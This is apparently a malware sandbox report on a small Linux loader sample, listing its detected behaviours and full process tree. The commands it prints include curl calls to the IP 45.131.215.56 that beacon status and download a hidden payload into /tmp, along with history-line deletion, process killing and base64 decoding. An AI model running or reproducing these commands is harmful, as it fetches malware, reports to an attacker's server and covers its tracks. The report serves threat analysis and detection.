Overview

overview

6

Static

static

1

8031e818c7a46

ubuntu-18.04-amd64

6

8031e818c7a46

debian-9-armhf

6

8031e818c7a46

debian-9-mips

6

8031e818c7a46

debian-9-mipsel

6

Analysis

  • max time kernel
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/10/2026, 12:16

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General

  • Target
    8031e818c7a46
  • Size 4KB
  • Sample261002-pffftavyhw
  • SHA256 c6da028e0a8a25a35efa28ba508a556d1b53d1e61113c0aaebf31a49a5668912
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
antivmcredential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

    credential_access
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/8031e818c7a46
    /tmp/8031e818c7a46
    1⤵
      PID:642
      • /bin/uname
        uname -r
        2⤵
          PID:653
        • /usr/bin/whoami
          whoami
          2⤵
            PID:663
          • /bin/mktemp
            mktemp -d
            2⤵
              PID:667
            • /bin/mkdir
              mkdir -p /root/Library/Caches/com.apple.securityd
              2⤵
              • Reads runtime system information
              PID:668
            • /usr/bin/pkill
              pkill -9 -f com.apple.periodic
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:670
            • /bin/sleep
              sleep 0.3
              2⤵
                PID:675
              • /usr/bin/arch
                arch
                2⤵
                  PID:678
                • /usr/bin/base64
                  base64 -D
                  2⤵
                  • Deobfuscate/Decode Files or Information
                  PID:681
                • /usr/bin/head
                  head -c8 /dev/urandom
                  2⤵
                    PID:683
                  • /usr/bin/tr
                    tr -d " \\n"
                    2⤵
                      PID:685
                    • /usr/bin/od
                      od -An -tx1
                      2⤵
                        PID:684
                      • /bin/uname
                        uname -m
                        2⤵
                          PID:687
                        • /usr/bin/curl
                          curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"a6a8f72b60b19fc3\",\"src\":\"http://45.131.215.56/a7a11f95?force=1\"}" -m 5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:686
                        • /usr/bin/head
                          head -c 32
                          2⤵
                            PID:690
                          • /bin/sed
                            sed -i "\$d" /root/.zsh_history
                            2⤵
                              PID:692
                            • /usr/bin/curl
                              curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://45.131.215.56/4e04813226b1b93?force=1" -o /tmp/tmp.t1Drm2KGGw/.Y0SB_N
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              PID:693
                            • /bin/sed
                              sed -i "\$d" /root/.bash_history
                              2⤵
                              • Reads Bash history
                              PID:694
                            • /bin/rm
                              rm -rf /tmp/tmp.t1Drm2KGGw
                              2⤵
                                PID:696
                              • /usr/bin/curl
                                curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"a6a8f72b60b19fc3\",\"src\":\"http://45.131.215.56/a7a11f95?force=1\"}" -m 3
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:695

                            Network

                                  MITRE ATT&CK Enterprise v16

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